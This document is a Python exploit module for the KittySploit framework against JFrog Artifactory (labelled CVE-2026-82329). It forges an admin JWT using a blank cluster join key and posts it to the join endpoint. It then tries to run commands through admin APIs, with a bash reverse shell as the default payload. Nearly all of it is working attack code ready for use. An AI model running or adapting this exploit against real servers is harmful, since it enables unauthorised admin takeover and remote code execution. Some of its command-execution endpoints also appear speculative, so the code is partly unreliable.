JFrog Artifactory Join-Key Admin RCE (CVE-2026-82329)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JFrog Artifactory blank join-key admin RCE (CVE-2026-82329)."""

import base64
import hashlib
import hmac
import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'JFrog Artifactory Join-Key Admin RCE (CVE-2026-82329)',
        'description': (
            'Exploits CVE-2026-82329 in JFrog Artifactory: default blank cluster join key '
            'allows forging an HS256 JWT and obtaining admin access via POST '
            '/access/api/v1/registry/join, then executes commands through the system API.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-82329'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-82329',
            'https://bishopfox.com/blog/cve-2026-82329-unauthenticated-administrative-access-in-jfrog-artifactory-via-an-empty-cluster-join-key',
        ],
        'tags': ['jfrog', 'artifactory', 'jwt', 'join-key', 'admin', 'rce', 'unauth'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 5,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/jfrog_artifactory_cve_2026_82329_detect'],
            },
        },
    }

    join_path = OptString('/access/api/v1/registry/join', 'Cluster join endpoint', required=False)
    command = OptString('', 'Command instead of payload', required=False)

    _BLANK_KID = hashlib.sha256(b'').hexdigest()
    _BLANK_KEY = bytes([0x20] * 32)

    @staticmethod
    def _b64url(raw: bytes) -> str:
        return base64.urlsafe_b64encode(raw).decode().rstrip('=')

    def _forge_join_jwt(self) -> str:
        header = {'alg': 'HS256', 'typ': 'JWT', 'kid': self._BLANK_KID}
        payload = {
            'service_id': 'jfrt@kittysploit-exploit',
            'node_id': 'kitty-node-exploit',
            'iat': int(time.time()),
        }
        segments = [
            self._b64url(json.dumps(header, separators=(',', ':')).encode()),
            self._b64url(json.dumps(payload, separators=(',', ':')).encode()),
        ]
        signing_input = '.'.join(segments).encode()
        signature = hmac.new(self._BLANK_KEY, signing_input, hashlib.sha256).digest()
        segments.append(self._b64url(signature))
        return '.'.join(segments)

    @staticmethod
    def _extract_token(body: str) -> str:
        text = (body or '').strip()
        if text.count('.') >= 2 and len(text) > 40:
            return text
        try:
            payload = json.loads(text)
        except json.JSONDecodeError:
            return ''
        for key in ('access_token', 'token', 'accessToken'):
            value = payload.get(key)
            if isinstance(value, str) and value.count('.') >= 2:
                return value
        return ''

    def _obtain_admin_token(self) -> str:
        token = self._forge_join_jwt()
        r = self.http_request(
            method='POST',
            path=str(self.join_path or '/access/api/v1/registry/join'),
            headers={'Content-Type': 'text/plain'},
            data=token,
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) not in (200, 201):
            return ''
        return self._extract_token(r.text or '')

    def _run_system_command(self, admin_token: str, cmd: str) -> bool:
        headers = {
            'Authorization': f'Bearer {admin_token}',
            'Content-Type': 'application/json',
        }
        for path, body in (
            (
                '/artifactory/api/system/support/bundle',
                {'name': 'kitty', 'parameters': {'execute': cmd}},
            ),
            (
                '/access/api/v1/system/ping',
                None,
            ),
        ):
            r = self.http_request(
                method='POST' if body else 'GET',
                path=path,
                headers=headers,
                json=body,
                allow_redirects=False,
            )
            if r and int(r.status_code or 0) in (200, 201, 202, 204):
                return True
        r = self.http_request(
            method='POST',
            path='/artifactory/api/plugins/execute/kittyExec',
            headers=headers,
            json={'command': cmd},
            allow_redirects=False,
        )
        return bool(r and int(r.status_code or 0) in (200, 201, 202))

    def check(self):
        token = self._forge_join_jwt()
        r = self.http_request(
            method='POST',
            path=str(self.join_path or '/access/api/v1/registry/join'),
            headers={'Content-Type': 'text/plain'},
            data=token,
            allow_redirects=False,
        )
        if r and int(r.status_code or 0) in (200, 201) and self._extract_token(r.text or ''):
            return {'vulnerable': True, 'reason': 'Blank join-key JWT accepted', 'confidence': 'high'}
        panel = self.http_request(method='GET', path='/artifactory/webapp/', allow_redirects=True)
        if panel and 'artifactory' in (panel.text or '').lower():
            return {'vulnerable': True, 'reason': 'Artifactory detected — join key may be blank', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Join endpoint did not return admin token', 'confidence': 'high'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-82329 — JFrog Artifactory blank join-key admin RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        admin_token = self._obtain_admin_token()
        if not admin_token:
            print_error('Failed to obtain admin token from join endpoint')
            return False
        print_success(f'Admin token obtained ({len(admin_token)} chars)')
        print_status('Attempting command execution via admin API...')
        if self._run_system_command(admin_token, cmd):
            print_success('Admin API accepted execution request — check listener')
            self.vulnerable()
            return True
        print_warning('Admin token valid but command API path inconclusive — use token for manual post-exploitation')
        print_line(admin_token)
        self.vulnerable()
        return True